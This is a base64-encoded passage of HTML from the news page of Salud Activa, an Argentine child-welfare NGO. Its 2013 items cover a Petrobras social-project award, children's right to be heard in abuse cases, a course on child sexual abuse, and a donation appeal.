AgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc